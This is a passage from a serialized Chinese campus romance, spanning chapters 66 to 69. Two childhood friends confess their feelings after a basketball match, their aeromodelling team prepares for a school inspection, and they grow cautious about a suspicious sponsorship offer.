两人手掌一触及分,孙起扯了扯嘴角,似乎想说什么, 但唐简已经平静地走向下一位了。 夏篱低头快速整理着最终的技术统计表,将数据归档发到两边的教练邮箱。场馆内的喧嚣渐渐平息, 观众开始退场。 赛后总结会上,北城大学的教练虽然对结果感到遗憾, 但复盘过整场比赛的数据后并未过多指责,反而重点表扬了队员们尤其是最后时刻不放弃的精神。 “……一场热身赛,输赢不是最重要的,重要的是我们发现了问题, 积累了经验。理工大的强度和特点给我们上了很好的一颗。回去好好总结,尤其是防守端的沟通和篮板保护……唐简的膝盖让医生再仔细检查一下。” 散会后,队员们各自收拾东西,但气氛稍显沉闷——虽然最后时刻唐简的进球极大地提振了士气,但输了就是输了,失败的结果终究需要消化。 更衣室的门开了又关,其他队员也陆续收拾完毕,三三两两往外走。队医给唐简重新处理了下伤口也离开了。 程愈走过来,拍了拍唐简肩膀,“膝盖真没事吧?” “没事,小伤。”唐简抬头看了眼他,摇了摇头。 队员们都走了,程愈也不需要再强撑什么,哐当一声坐在唐简旁边,“今天真多亏了你,不然最后分差更难看了。”他双手往后撑住身子,叹了口气,“理工大今年确实有点难啃……不过也好,早点发现问题,联赛前还有时间调整。回头训练计划我估计还得再调调时间。” “……”唐简回头看了程愈一眼。 程愈刚开始有些莫名,随即像是想起什么似的“啊”了声,“我记得你之前跟我提过你最近除了上课还要做什么实验,也是要参加比赛的是吧?” 唐简没说话。 程愈看他笑了笑,重重在他肩膀上撑了下借势站起身,说,“没办法,能者多劳吧!” 唐简无奈地摇了摇头。 临走时,程愈又看了眼唐简的膝盖,“真不用陪你再去医院看看?” “不用,”唐简摇头,目光直视着他,说,“阿篱还在外面等我。” “阿——”程愈愣了下,旋即挑了挑眉,“你们……” 唐简打断他的话,“我在追她。” 程愈顿了顿。 饶是唐简自诩还是挺能看人的此时一时竟也没能读懂他脸上一闪而过的神情,只见他对自己像往常那样笑着点了点头,“那祝你旗开得胜马到成功吧,有情人终成眷属是好事。” “……天下要是所有青梅竹马都能像你们一样就好了。” 最后这句,程愈说得声音很小,若不是唐简注意力一直在他身上还真不一定能听清楚。只是还没等他反应一下,程愈已经拉开休息室的门出去了。 稍早。 夏篱和其他工作人员一起拆完记录台仪器,刚洗手出来准备给唐简发消息看他什么时候结束时,就被突然出现的孙翡她们吓了一跳。 “嘿!宝儿!”孙翡一把搂住夏篱的胳膊,身后跟着方茴和辛恬。 夏篱讶异地看着眼前三人,随即笑道,“你们不是说下午要一起去逛街吗?怎么来看比赛也没告诉我。” 方茴回说,“后来我们想想还是看比赛比较划算,逛街哪有看球省钱。” “……”有道理。 夏篱被逗笑了下。 “但是篱篱你没事吧?”辛恬上下打量着她问,“刚刚那球真的好吓人。” “对对对,”孙翡低头看她的脚,“刚才在上面看着吓死我们了!真是眼看着那球砰一下就冲着你飞过来了——跟演电影似的,幸好唐简学长反应快……不过我看刚才队医都上场了他是不是受伤了啊?你俩还真是妇——”她嘴一秃噜差点说什么,但想到辛恬这会就在旁边好险及时闭上了嘴,随即尴尬地笑了笑。 不过即使孙翡及时刹住了嘴,辛恬也还是听出来了,低着头没说话。 夏篱左手挽住辛恬右手挽住孙翡,示意道,“我没事。” “我原先不爱看篮球足球那些就是觉得好危险看着吓人,后来看你做裁判我还以为至少不上去打还是安全的……”方茴岔开话题,后怕地撇撇嘴,“谁知道就是坐在场边也会这么危险。” “……意外。”夏篱安抚她说,“球自己又不会长眼睛。” “球是不会,但打球的总长着眼睛吧?”孙翡随口哼了声。 一句话直接把夏篱给说住了。 四人正闲聊着,突然听不远处有人叫了声“小裁判。” 几人闻声看过去,见理工大那个叫孙起的11号已经换好衣服冲着夏篱挥了下手。脸上带着那种似笑非笑的表情朝她们走过来。 “听说你是个专业裁判啊学妹,”孙起看了眼她的脚,“因为脚受伤不方便今天才做记录员的?真可惜,我还没碰到过大学生裁判呢,还是个大一新生……以后一定要有机会让我开开眼啊!” “你别开开眼了,你先睁睁眼吧大哥,”孙翡听着这人说话就不舒服,忍不住翻了个白眼,“别下次再把球打得直冲着别人脑袋飞过去。” “噗。” “噗。” 方茴和辛恬闻言一个没忍住,不小心笑出来一声。 孙起听着也没生气,瞥了孙翡一眼“啧”了声,然后看着夏篱道,“赛场意外,难免的,是吧?不过刚才那球,确实不好意思学妹,是我没控制好力度。” 他嘴里虽说着道歉的话,但眼神里并没有多少真正的歉意,反而带着点探究和玩味。 夏篱在孙起开口说话的瞬间就有一种莫名其妙却又似曾相识的不适感,她看着他脸上似笑非笑的表情眯了眯眼睛,冷不丁开口问他,“你认识陆子航吗?” “……谁?”孙起顿了下,然后扬了扬眉毛,“陆子航?那是谁?我们学校的学生吗?” 夏篱颇为可惜地摇摇头,“他要是你们学校的就好了……不过有机会你可以认识认识他,感觉你们应该挺有共同语言的。” “是吗?”也不知道孙起是不是真没听出来夏篱话里的讽刺,闻言笑呵呵点点头,“行啊,有机会一定,多个人多个朋友嘛!” 这时候,理工大那边的人在不远处叫了声孙起的名字,“走了队长!” 孙起掏出来手机看着夏篱,“小裁判加个联系方式?” “抱歉,”夏篱不假思索拒绝,“裁判不得以任何情形联络球队双方成员。” “……”孙起无语,“我就不信你们北大篮球队的队员你一个没加过。” “那能一样吗?”方茴插嘴,“我们北大的这是娘家人,同学之间有联系方式不很正常?我听说今天主裁还是你们学校的呢……你肯定有他的联系方式吧?那他会加我们这边的学生吗?” 孙起被呛的没话说,余光瞄见队友打算往这边走,他急忙收起手机,嘀咕了声“还挺有个性”就转身迎着队友走了。 两人勾肩搭背往篮球馆门口走。 “说什么呢这么长时间……” “没事聊两句,你不觉得那小姑娘长得还挺好看的么?” 那人闻言回头又瞅夏篱,被孙起揪着脑袋扭回去头。虽然走远后听不见两人在说什么,但那推推搡搡的肢体语言还是能看得出来估计不会是什么好话。 “煞笔玩意!”孙翡对着两人离开的背影“tui”了口,气愤道,“怎么总让我们碰到这种垃圾东西啊!真晦气!” “谁说不是!”方茴也无语道。 辛恬心有余悸,讷讷道,“要我说你们才真是胆子大的没边……怎么总是跟他们那些看起来就不好惹又高又壮的男生这么对着干……真的很吓人好吗。” 她在旁边看着总怕他们会突然朝她们挥过来一拳。 “啧!这怎么能叫我们跟他们对着干,明明就是他们闲得蛋疼没事找事,非要——”孙翡话说一半,看见夏篱对着休息室的方向挥了挥手,还以为是唐简出来了,结果回头一看,是程愈。 程愈目光先是落在夏篱身上,看着是想要说什么似的,但随后他又看了眼她身边的孙翡,最终只是跟她点点头招呼一声离开了。 夏篱没觉得有什么不对,反而是脾气来得快去得也快的孙翡早把孙起行人抛在了脑后,看着从门口消失的程愈背影,捏了捏下巴,用胳膊拐拐夏篱,说,“宝儿,你有没有发现这个程愈自从上次放你鸽子那天我提了嘴认识他和他妹妹,他就一直‘躲’着我?” 夏篱没太明白,“躲你?为什么?” 孙翡耸耸肩,“不知道啊……要知道我就不奇怪了好吧!” 夏篱觉得她是想多了。 她看了眼休息室的方向,只是有些疑惑怎么还不见唐简出来。 第67章 夏篱又等了几分钟, 休息室的门才再次打开。唐简换回了先前的夹克和工装裤,胸前斜挎着一个运动包走出来,目光第一时间就捕捉到了等在不远处的夏篱。 “学长!”孙翡率先挥手打了声招呼, 看了眼神情难掩担忧的好友,眼神往他膝盖瞟了眼, “你膝盖没事吧?” 唐简走过来,对孙翡三人点了点头,“没事,一点擦伤。” 说完他视线很快落回夏篱身上。 “真没事?”夏篱也看向他的膝盖,眉头微蹙。 唐简笑着在她眼前打了个响指示意她看他, 说, “当然真的没事, 擦伤而已, 跟你脚伤相比差远了。” 夏篱有些无语地想抬脚踢他,“你神经吧,这有什么好比的。” “没比, 是真的没事。”唐简笑说。 “那没事学长你怎么出来这么晚,我刚看你们球队的人都早出来了……”孙翡搂了搂夏篱肩膀,“让我们篱篱等得花都快谢了。” “……”夏篱捏住孙翡的嘴, “你别胡说八道。” 孙翡立即举起两手呈投降状,示意自己不再开口, 夏篱才松开她。 虽然自小到大近二十年的发小情谊像一块薄纱一样朦胧掩盖住夏篱的眼,让她未曾看穿过唐简对她心意的转变, 但至少作为一起长大的朋友,她轻易从他此时看似平常放松的神情看出他掩饰的纠结和不安。 夏篱很自然地握住孙翡的手晃了下,看她和方茴还有辛恬道,“刚不是说要去三食堂吃麻辣烫吗?你们先去吃, 刚社长在群里发消息,我俩有事可能得先去航模社一趟。” “现在去?”辛恬眨了眨眼,“好歹吃完晚饭吧……不然晚了食堂就没什么好吃的了。” “食堂没有不是还可以点外卖嘛!”方茴和孙翡对视一眼,听出来夏篱的言外之意,忙应声道,“那我们就先去吃饭了,你要有什么想吃的发微信给我,我带回去给你也行。” “好,谢谢。” 等三个人推推搡搡地走远,唐简才顺手把夏篱背上的双肩包揭下来单肩背在身后,看她一眼,说,“这次可是你把她们支走的,跟我可没关系。” “……”夏篱白他一眼,把自己背包从他肩上顺下来自己重新背上,说,“是啊,是我把她们支走的,所以你能告诉我你刚刚在休息室里待那么久是在干什么吗?明明你们教练队长和队医都已经早早出来了……总不会是你自己一个人在复盘比赛吧?” 唐简无言以对。 半晌才在夏篱无言且平静的注视下开口,目光带着点不易察觉的探究,“刚才……程愈出来跟你说了什么吗?” “程愈?”夏篱愣了下,摇摇头,“没有啊,他打了个招呼就走了,怎么了?” “你还喜欢他吗?”他答非所问。 夏篱被他这么毫无征兆地一句问话直接给问住了,尴尬地耳根子跟着发烫,躲开他视线往旁边瞥了眼,“……你没事突然问这个干什么?” 唐简却不给她躲开的机会,往旁边小跨了一步又站到她眼跟前,直视着她说,“因为我刚刚跟他说了我在追你。” “…………”明明唐简此时说话音调挺平常也挺正常的,但此时听在夏篱耳朵里却简直是像拿了个喇叭在喊一样,吓得她攥紧他衣服往他跟前躲了步,恨不得能凭空消失,左右瞄了瞄,“你你你小声一点啊,这么大声做什么?” “……?”他哪有很大声。 不过此时偌大的篮球场除了对角那个篮筐那有三四个人在练球外,他们这一隅地方确实还挺安静的。 唐简低头瞅了眼身前晃悠的发顶,失笑,“你这样一副‘做贼心虚’的样子别人看了才更会觉得奇怪吧。” “……”夏篱有些不自然地松开攥着他衣服的手,往后退了步,抬头瞪他道,“好端端的,你跟他说这个做什么?多奇怪啊!” “奇怪吗?”唐简看着她问。 “当然奇怪啊!”夏篱不假思索道,“你追不追我这跟他有什么关系?他又不喜欢我,只是我刚开始觉得他是我的‘理想型’,以为自己喜欢他而已……跟他又没——” “‘以为’?”唐简闻言眼睛一亮,迫不及待打断她。 他猛地上前一步用力攥住她两边胳膊……差点没激动地一把把她举起来,“你刚刚说‘以为’?意思是你其实压根儿就没喜欢过他对吗?是这个意思吗?” 夏篱挣不开他桎梏着自己的手,费力地踮着脚看着唐简那张近在咫尺的、洋溢着满脸兴奋笑容的脸。不知怎的,就像是被他传染了似的,无意识地扬了扬唇,但随即又恢复原状,眼睛看向别处,“……算是吧。” 唐简一听这个脸上笑就僵了一半,“怎么是‘算是吧’?是就是是,不是就是不是。没有‘算是’。” “……啧,”夏篱用力掰开他的手,让自己两个脚跟安全落回到地面上,顾左右而言他,“你这么较真干吗。” “当然要较真!”唐简顿顿,冷静了点,这才从她细枝末节的表情里看出她的不好意思。他眼里重新燃起些许笑,不知想起什么,拉住她的手就打算往外跑,可旋即想到她刚脱离拐杖没几天刚刚好了一点的右脚时动作又戛然而止。 夏篱被他牵着转了个方向,下意识都已经抬脚要跟着他走了,可谁知下一瞬还没等她反应过来,他已经弯腰一把打横抱起她,二话不说就往篮球馆的大门跑。 夏篱简直整人震惊。 她惊叫一声,颠簸里只能下意识紧紧搂住他的脖子,“你你你要干吗啊唐建军!” 怎么跟个野人一样的! 不知是不是唐简的错觉,在他抱起夏篱往外跑的刹那,听到球馆那头传来几声口哨声。但唐简现下没时间管那些,他有一件非常重要的事需要做,此时此刻。他抱着她,穿过洒满金色余晖的走廊,跑过好奇侧目的零星路人,胸膛里鼓胀着一种急切而滚烫的情绪,亟待宣泄。 晚餐时间,校园小道上行人还是挺多的,所以很快许多人就看见一个身型高壮的男生抱着一个匀称纤瘦的女生在黄昏的林荫小道里狂奔。秋日的晚风掠过耳畔,带着凉意和落叶的气息。 夏篱觉得尴尬又丢脸,脸颊紧紧埋在他温热的颈窝,能感受到他脉搏有力地跳动和奔跑时肌肉的绷紧。可挣不开又逃不掉,她只能搂紧唐简的脖子努力把自己这张脸往他怀里塞,试图以“鸵鸟之恣”让大家无视自己的存在。只是默默在心里盘算着,待会要是唐建军这家伙不能给她一个突然发疯的满意的理由,她一定会把他揍得干妈都认不出来! 她、真、的、会、的!!! 度秒如年的不知道多久过去,唐简飞奔的脚步终于停了下来。夏篱紧紧闭着双眼,只听到耳边唐简急促呼吸的喘气声和两人紧紧相贴的心跳震颤,一声声,清晰有力地敲打在她的鼓膜上,仿佛要融为一体。 当夏篱被唐简小心翼翼地放下来时,明明奔跑的是他,而她却有那么一瞬间腿不自觉地软了一下,差点没站稳,还是他两手扶着她腰侧帮她稳了一下才没让她一屁股坐到地上。脚下触及坚实的地面,漂浮的心也似乎稍稍落定。 唐简仰天深深呼吸了两下,平复着剧烈的心跳和呼吸,才低头看面前仍旧紧闭双眼的夏篱,“到了,睁开眼吧。” 因为不知道他具体要做什么,所以夏篱心里鼓捣捣的。听见唐简的话,她先是眯缝着眼慢吞吞睁开一只,而后才一下子睁大眼睛看着四周熟悉的景色,纳闷地眨了眨眼看唐简道,“你带我来这干什么?” 是了。 此时她站的地方,也就是唐简像个野人似的把她从篮球馆几乎绕了小半个校园带到的地方并不是她刚胡思乱想的什么……神秘之地,而是每天晚上……至少在她脚受伤前每天晚上都会来的操场……边。 因为两人实在是靠得太近了,夏篱甚至能清晰感受到他喘气间温热的气息。她想往后退一步,却被瞬间踏空的跌落感吓了一跳。虽然唐简反应极快地已经一把扶住了她的腰,但夏篱还是惜命……惜脚地攥着他胸口的料子借力把右脚抬了起来——因为她真的很想滑滑板。 也是这一下,让夏篱意识到这场景仿佛似曾相识。 少顷,她终于想起之前好像也有一次,她想事情的时候滑滑板走神儿差点撞翻车,他生气地把她抱到旁边小花坛上好一通教训。 那次也是这样,她借着花坛的高度,甚至可以微微地垂着眼看他。 黄昏里,唐简长而密的浓睫上扫着一层暖黄的金色,连平日稍显锋利的下颌角都仿佛被夕阳润了一层温柔的分割线。夏篱心跳如鼓地低眉看着他,不知他想要做什么。 “我想听你说那句话。”须臾唐简回她道。 夏篱一头雾水,“哪句话?” 唐简深吸口气,低头看了眼夏篱站着的位置,又难掩嫌弃地扫了眼两侧,仿佛眼下这地方跟他有多大仇似的……他抬脸看着仍旧不知所云的夏篱,目光灼灼提醒道,“还记得新生篮球赛结束那天晚上你在这里差点摔倒我抱住你后你第一句跟我说了什么吗?” “第一句?”夏篱认真想了想,“……‘啊’?” 毕竟人在摔倒时的第一反应肯定是要叫一声的吧。 “…………”唐简郁闷地腾出来一只手掐了掐她的脸,“别装傻。” 夏篱揉了揉自己脸,有些冤枉地看着他,“拜托大哥,那都多久前的事情了?两个月诶!你会记得你两个月前跟别人说过的第一句话是什么吗?” 唐简幽幽道,“我当然记得,不然我这时候问你干什么?” 反正被他扶着夏篱也不怕自己会摔倒,闻言她松开攥着他衣服的手,两手抱胸低眉睨他,“行,你厉害厉害。那你说说我那天跟你说了什么?” “你说,”良久唐简皮笑肉不笑地看着她,咬牙一字不差道,“‘唐简,你还记得我以前跟你说过的未来我想要找的那个男朋友吗?我好像找到了。’” 这两句话可是像噩梦一样缠了他整整两个月。 “………………” 说完,唐简撇开脸,深吸口气道,“现在,我需要你清清楚楚地告诉我……你不喜欢程愈,不喜欢他,你其实……从来都没有喜欢过他。” 第68章 黄昏的操场边缘, 喧嚣似乎被无形地隔开,只剩下两人之间急促未平的呼吸和擂鼓般的心跳声。夏篱能感觉到唐简扶在她腰侧的手微微收紧,似乎在紧张。 他最后一个音落下, 还是选择转回头紧紧锁着她,仿佛要将她灵魂深处最真实的想法拽出来。 夏篱看着他, 那双总是带着点戏谑或冷静的眼眸此刻清晰地映出她有些无措的脸。她忽然明白了刚才他为何会像突然“发疯”一样抱着她一路狂奔至此——他需要一个答案,一个确切的、能让他安心、能斩断所有不必要的误会和猜测的答案。 她张了张嘴,喉咙有些发干。 承认自己之前的“喜欢”只是一场基于片面认知的误判,很丢脸,尤其是在这个原本从小到大总和她针锋相对又无处不在的“发小”面前。 但……看着他此刻的眼神, 那些无谓的倔强和小小的别扭, 忽然就显得不那么重要了。 因为与她此刻胸膛里同样擂鼓般的心跳, 以及那份因为他刚刚狂奔而翻涌不息的情绪相比, 当初对程愈的那点朦胧好感,瞬间显得如此苍白和不真实。 她当时确实以为那种对“理想型”的欣赏和悸动就是喜欢。 但此时想来却更像是对一个符合自己预设标准的“模版”的欣赏,而非这种真实的、鲜活的、带着一种能轻易牵动她所有情绪的心动。 唐简嵌入她生命的年岁太长, 长到他的存在就像呼吸一样自然,以至于她差点忽略了这份“自然”底下蕴藏的巨大能量。他对她的一切,细密地编织进她生活的每一个缝隙, 汹涌又具体。 和程愈相处时,她会不自觉地带上一点礼貌和拘谨, 会斟酌语句,会展现自己最好的一面……这大概就是当初苗苗说的“客气”吧。可和唐简在一起, 她可以肆无忌惮地发脾气、犯懒、甚至犯傻,因为她知道,无论她是什么样子,他都会在那里。这种安全感, 是任何人都无法给予的。 这个问题,其实在她心里早已经有了答案,只是她一直未曾真正去正视和厘清。 夏篱深吸了一口气,秋日傍晚微凉的空气涌入肺腑,让她更加清醒。她不再躲避唐简的目光,而是迎了上去,声音虽然还带着点不易察觉的微颤,却清晰而坚定: “嗯。” 唐简的瞳孔微微缩了一下,目光紧紧盯着她,仿佛怕漏听了一个字。 夏篱顿了顿,继续道:“我承认,刚开始认识程愈学长的时候,确实觉得他很像……嗯,就是我以前想象中会喜欢的那种样子。干净礼貌,温柔细致,看着就很好相处。 “但那好像……真的就只是一种‘以为’。就像看到一件设计得很符合你审美概念的衣服,会觉得欣赏,但并不意味着就一定要拥有,或者拥有了就真的适合自己、会真心喜欢。” 那种心跳加速、不知所措、会因为他的一个眼神一句话就胡思乱想半天的感觉……好像从来都没有出现过。 “所以,”夏篱抿了抿唇,轻声道,“是的,唐简。我不喜欢程愈学长,至少不是男女之间的那种喜欢。我想……我大概只是搞混了‘欣赏’和‘心动’的区别。” 话音落下,周围仿佛安静了一瞬。 唐简紧绷的下颌线以肉眼可见的速度松弛下来,一种巨大而汹涌的喜悦如同破堤的洪流,瞬间冲垮了他所有的故作镇定和小心翼翼。他猛地深吸了一口气,又缓缓吐出,仿佛要将这两个月来时时刻刻说服自己压下去的焦躁、不安和醋意全部倾斜出去。 他没有说话,只是看着她,眼底的光芒越来越盛,那是一种近乎璀璨的、毫不掩饰的快乐和满足。然后……他握在她腰间的手忽然用力,将夏篱从花坛上“端”了下来,紧紧拥入怀中。 这是一个不同于之前任何一次安慰或冲动的拥抱。 结实、滚烫、充满了失而复得的情形和难以言喻的悸动。夏篱的脸颊被迫埋在他的胸口,能听到他胸腔里传来的、比她还要剧烈的心跳声,咚咚咚,一声一声,敲打着她的耳膜,也敲打在她的心上。 夏篱僵硬了一瞬,手下意识地抵在他的胸口,但最终却没有推开。鼻尖萦绕着他身上淡淡的皂荚香和混合着秋日黄昏的气息,有一种奇异的……安心感。 “听到了。” 唐简的声音从头顶传来,低沉沙哑,带着浓浓的笑意和满足,“听得很清楚。” 少顷她还是别扭的动了动,“……放开,热死了。” 唐简低低地笑出声,胸腔震动传遍她全身,这才依依不舍地松开手臂,但一只手却极其自然地滑下来,握住了她的手。 夏篱像是被烫到一样想抽回,却被他更紧地握住。 她呲了呲牙,用力挠了下他手心,“我、我还没答应呢!” “没答应什么?” “做你女朋友啊!” “好。” “…………”卑鄙。 唐简嘴角压不住笑,紧紧握着她的手就是不松开,说,“我知道你还没答应,但发小也可以牵手。” “…………??” “想吃什么?”唐简仿佛没事人一样,牵着她就往食堂的方向走,语气轻快而混乱,“今天赢了……输了……嗯,虽然比赛输了,但饭还是要好好吃的。想吃什么?” 夏篱此刻脑子里乱糟糟的,被他牵着走,竟也真的没再甩开他的手,只是下意识地嘟囔:“……随便。” 两人就这样别别扭扭,却又手牵着手,朝着食堂走去。夕阳将他们的影子拉得很长,交织在一起,仿佛再也分不开。 最终他们去了离操场最近的四食堂,这个点食堂人已经不太多了,两人点了几个小炒,寻了个安静的角落坐下。 气氛有些微妙的尴尬,又弥漫着一种难以言喻的暧昧。夏篱低头默默吃着饭,难得安静非常,甚至有点不太好意思看对面的唐简。反观唐简倒是心情极好的样子,嘴角一直噙着笑,时不时给她夹一筷子菜。 ……这对以往在餐桌上两人仅是为了一块肉的去留而“大打出手”的情形堪称是颠覆式的。 就在夏篱快要被这诡异的氛围弄得食不下咽时,她和唐简放在桌上的手机同时连续震动起来。她如蒙大赦,赶紧拿起来看。 是航模小组群里的消息。 【周予】:@全体成员重大进展!重大进展!!! 【周予】:刚王副院长给我打电话了!!!!! 【周予】:他说看到了我们新提交的报告和视频,非常惊讶也非常感兴趣!说我们能在这么短时间内用这么悠闲的资源做出这样的成功,充分体现了我们的能力和决心! 【周予】:所以他决定周一上午十点,亲自带校科创办的老师来我们实验室现场勘查!让我们做好准备!! 【周予】:兄弟姐妹们!!机会来了!!能不能成!!就看明天这一哆嗦了!!! 消息一连串地蹦出来,隔着屏幕的欧能感受到周予那快要溢出来的激动和紧张。 夏篱看着手机屏幕,眼睛瞬间亮了起来,刚才那点旖旎心思瞬间被巨大的惊喜和随之而来的紧迫感取代。她猛地抬头看向对面的唐简:“你看群消息!” 唐简也已经拿起手机快速浏览着信息,脸上的笑容收敛了些,变得专注而锐利。 他抬头看向夏篱,“明天上午十点……比预期快很多。” “嗯!”夏篱用力点头,心脏也因为即将迎来的新的挑战而加速跳动,“我们得赶紧准备起来!” “先吃饭。”唐简虽然这么说,但自己也明显加快了进食速度,“吃完过去。” 两人再顾不上刚才那点微妙气氛,迅速解决了晚餐。随后二人匆匆离开食堂,朝着工程楼快步走去。 夜幕已然降临,校园路灯次第亮起,秋风带着凉意,却吹不散他们心头的火热。 等到他们赶到307实验室时,周予和陈默已经到了,正在开门开灯。何晓雯和孙翡几人也陆续气喘吁吁地赶到。 “我们先干嘛?”张铭轩挠着头踱步,“是不是得赶紧把实验室收拾出来?” “不光收拾,”唐简环视了下略显杂乱的实验室,“还要把我们这段时间所有的过程记录、设计草图、仿真数据、测试报告全部整理出来,有序摆放。要让来看的人一眼就能看到我们的努力和思路的完整性。” “对对,”周予接话,“相关的测试数据曲线图,林曦你尽快美化一下打印出来。” “电路连接和传感器部分最好能做个简单的示意板,这样更直观一点。”何晓雯提议。 王海说:“材料选择和性能模拟的鹅数据我也整理一下打印出来!” 孙翡直接举手:“我来帮忙打扫卫生整理桌子!” …… …… 不需要过多动员,每个人都知道这次勘查的重要性。 实验室瞬间忙碌起来,却忙而不乱,各有分工。 时间在忙碌中飞快流逝。实验室以肉眼可见的速度变得整齐、有序。那架简陋的“探索者1号”被擦拭干净,摆放在中央工作台最醒目的位置,周围放着它的设计图、迭代版本照片和关键测试数据图表。期间周予又模拟了一遍明天讲解的流程和说辞,让大家提意见。每个人都尽量提出自己的看法,精益求精。 当所有设备检查完毕,数据确认无误,演示流程也演练熟练后,已经是晚上十点多。 “可以了可以了!”周予抹了把额头上的汗,“大家今天都辛苦了,早点回去休息将精蓄锐,明天我、陈默、唐简和夏篱提前半小时,不,提前一小时到这里集合,剩下的你们谁没课都可以过来!有课也没关系,有好消息我们都会第一时间通知在群里!解散!” 大家纷纷点头,开始收拾自己的东西准备离开。 三四个小时没顾上看手机,夏篱掏出来手机看了眼才看到梁清波一个多小时前发给自己的几条微信消息。 【大波】:有个事情不知道算不算好消息……我之前不是说试着帮你问问其他赞助的事情吗?虽然之前联系的那些都没什么下文,但刚我学姐之前介绍认识的一个科技公司的项目负责人突然主动联系我,说他们公司最近在关注大学生创新项目,不知从哪了解到你们SAE项目的风声,对你们低成本验证机的思路非常感兴趣。 【大波】:他说他们公司有意向对一些有潜力的前沿科技项目进行早期孵化和赞助,觉得你们的项目很有亮点,问我能不能牵个线,约你们团队负责人聊聊看? 第69章 不知从哪了解到的风声? 夏篱看着屏幕上梁清波发来的消息, 眉头不自觉地微微蹙起。 她抬起头,目光下意识地寻找唐简。他正和周予、陈默最后确认明天演示的电源线路稳定性,侧脸在实验室明亮的灯光下显得专注而冷静。 似乎察觉到她的视线, 唐简转过头,用眼神询问她怎么了。 夏篱抿了抿唇, 拿着手机过去,将屏幕递到他面前。 唐简快速扫过那几条信息,脸上的表情没什么变化,但眼神瞬间沉静下来,透出一种审慎的锐利。他接过手机, 又仔细看了一遍。 “怎么了?”周予注意到两人之间的气氛, 凑了过来。陈默也投来询问的目光。 唐简看了眼夏篱, 见她点头, 把手机递给周予。 周予看完,镜片后的眼睛瞬间瞪大了几分,脸上迸发出惊喜和难以置信的神色, “真的假的?!有公司主动找上门?还是科技公司?!这、这是好事啊学妹!天大的好事!说明我们的项目价值被市场看到了!这简直是雪中送炭!不对,是锦上添花!明天跟学校说起来也是重磅筹码啊!太好了太好了!”他搓了搓手,“没想到梁清波还挺有两下子的, 其实我私下联系过几个以前的赞助商,但因为项目没通过学校审核被各种理由搪塞过去了……这个我没好意思跟你们说。” “哪个公司?靠谱吗?”陈默问了句。 周予这才反应过来, 连忙看向夏篱,“对对, 学妹,你快问问她是哪家公司,规模怎么样?主营什么业务的?这机会我们必须抓住,哪怕最后学校那边……嗯, 总之多条路总是好的!” 夏篱看向唐简,后者微微颔首,示意她可以先问问看。 消息发出去后,几个人都没动,目光落在夏篱的手机上,实验室里一时安静下来。 等待回复的间隙,周予忍不住已经开始畅想:“要是真有企业赞助,哪怕只是部分,那我们的经费问题也可以缓解一大半了!高级组的材料、加工精度都能提升一个档次!学校那边看到有社会资本认可,通过的概率就更大了!双喜临门!真是双喜——” “咻——” 微信提示音打断了周予的兴奋。 所有人的目光瞬间聚焦。 【大波】:公司名字叫“凌空科创”,规模好像不算特别大,但学姐说他们在无人机和智能控制领域挺专业的。 【大波】:[名片推送:凌空科创-冯哲项目经理] 【大波】:这是他的名片,不然你直接加他细聊一下?我觉得机会还是挺难得的。 “凌空科创……”周予摸了摸下巴思索着,“好像……是没听过啊。不是业内那几个大头。” 陈默已经拿出手机开始搜索,“注册时间三年,注册资本一半,主要方向是工业无人机解决方案和飞控模块……看起来应该是一家初创型的技术公司。” “初创公司也好啊!说明新型年轻有活力!有眼光也更和我们有共同语言!”周予还是很乐观,“而且他们能主动找过来,说明我们项目还是很有吸引力的!” 唐简这时候却开口打断了周予,“周予,你先别急。我知道因为项目的事你压力很大,但越是如此,我们这时候要越冷静。陆子航几乎带走了刘雨萱之前所有的校外资源,梁清波虽然是阿篱的室友,但她也是刘雨萱手把手带出来的学妹,你不要忘了这一点。” 夏篱没说话。 理智告诉她,唐简的话有道理。情感上,她不愿意以最坏的恶意去揣测自己的室友,但之前的种种疑虑又像一根刺扎在哪里。 “老唐说的有道理。”陈默拍了拍周予肩膀,“防人之心不可无啊社长。” “尤其是现在这个节骨眼上,我们不能排除这是陆子航搞鬼的可能性。万一对方是来探听虚实,甚至是想窃取我们的核心思路怎么办?” 周予倒吸一口凉气,脸色瞬间也变得严肃起来。随后他抬手猛拍自己额头一下,“艹,我怎么能犯这么低级的错误,本科的时候……”本科的时候他明明还在这上面栽过一次跟头的! 少顷他叹口气,“是我太着急了……那怎么办?直接回绝吗?可万一……万一真的是机会呢?”他还是有点舍不得任何可能的资源。 夏篱沉吟片刻,道,“直接回绝可能也不妥,万一真是机会,我们错过了可惜,而且如果之后这事传出去,对我们团队形象也不好……外部资源就更别想了。” “你把名片推给周予,”唐简看夏篱道,然后又看着周予说,“这事还是你出面。你先感谢下对方的关注,然后实话告知对方我们团队目前正全力准备学校的关键考察,暂时无法分心进行深入的外部接洽。看对方是不是可以先提供一份公司的基本介绍资料和初步的合作意向说明,等我们顺利通过学校考察后,再约时间详细沟通。” 周予点点头,“对,这样好!既没有把路堵死,也拖延了时间,还能看看对方到底什么来头。如果他连份像样的资料都拿不出来,或者意向书含糊其辞,那大概率就是有问题!” “嗯。” 离开实验室时,已是星斗满天。 秋夜的寒风一吹,忙碌了一天的疲惫似乎都涌了上来。回宿舍的路上,夏篱和唐简都有些沉默,各自思索着明天可能遇到的各种情况和应对策略。 到了宿舍楼下,夏篱停下脚步,看向唐简:“明天……” “放心,”唐简仿佛知道她想说什么,打断她道,“我们准备了这么久也熬了这么多天,‘探索者1号’就是最好的证明。只要正常发挥,这次没理由不过关。学校看重的是能力和潜力,我们都具备。” 这些夏篱当然也知道,只是,“……有点烦。为什么总是有这些节外生枝的事情。” “当然是因为我们在做的事有价值,所以才会被人盯上。”唐简倒是很平静,“好的坏的都会来,这本身也是一种证明。” 夏篱怔了怔,忽然觉得他说的很有道理。如果他们的项目无人问津,反而说明它不够吸引人。 “嗯。”她点点头。 夏篱眼里的信任和依赖让唐简心里一软,忍不住抬手轻轻揉了揉她的头发:“上去早点睡,养足精神,明天打一场漂亮的仗。” 然而这一夜,夏篱睡得并不踏实。 梦里一会儿是王副院长严肃的脸,一会儿是陆子航阴冷的笑,一会儿又是那个叫冯哲的科技公司负责人模糊的身影,最后甚至梦到“探索者1号”在演示时突然坠毁……她在半夜惊醒过一次,心跳得厉害,额头上都出了一层薄汗。 她拿起手机看了眼时间,凌晨三点多。宿舍里一片寂静,她深深吸了几口气,重新躺下,摸着腕上的红绳,告诉自己那只是个梦。 再次入睡后,梦境似乎平和了许多。 她仿佛又回到了小时候,和唐简一起在外公工作间后的草坪上看星星,唐简指着最亮的那颗说:“以后我要造一架能飞到那颗星星上的飞机。” 她对此嗤之以鼻:“吹牛……那颗星星离我们好远好远的!” 